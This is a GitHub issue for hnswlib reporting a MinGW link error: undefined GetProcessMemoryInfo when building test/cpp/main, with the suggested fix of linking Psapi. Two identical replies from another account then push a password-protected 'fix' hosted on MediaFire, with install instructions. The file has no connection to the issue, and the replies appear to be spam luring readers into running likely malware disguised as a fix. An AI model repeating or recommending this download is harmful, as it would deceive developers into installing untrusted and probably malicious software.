Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CMake error for target linking test/cpp/main #585

Open
shiwanghua opened this issue Aug 27, 2024 · 3 comments
Open

CMake error for target linking test/cpp/main #585

shiwanghua opened this issue Aug 27, 2024 · 3 comments

Comments

@shiwanghua
Copy link

target_link_libraries(main hnswlib)

target_link_libraries(main hnswlib Psapi)

should add Psapi

otherwise:

[100%] Linking CXX executable main.exe
CMakeFiles\main.dir/objects.a(sift_1b.cpp.obj):sift_1b.cpp:(.text+0x368d): undefined reference to GetProcessMemoryInfo'CMakeFiles\main.dir/objects.a(sift_1b.cpp.obj):sift_1b.cpp:(.text+0x4333): undefined reference to GetProcessMemoryInfo'CMakeFiles\main.dir/objects.a(sift_1b.cpp.obj):sift_1b.cpp:(.text+0x4c48): undefined reference to `GetProcessMemoryInfo'collect2.exe: error: ld returned 1 exit status
make[2]: *** [CMakeFiles\main.dir\build.make:116: main.exe] Error 1
make[1]: *** [CMakeFiles\Makefile2:502: CMakeFiles/main.dir/all] Error 2
make: *** [Makefile:135: all] Error 2

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

1 similar comment
@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants
@shiwanghua @amir1387aht and others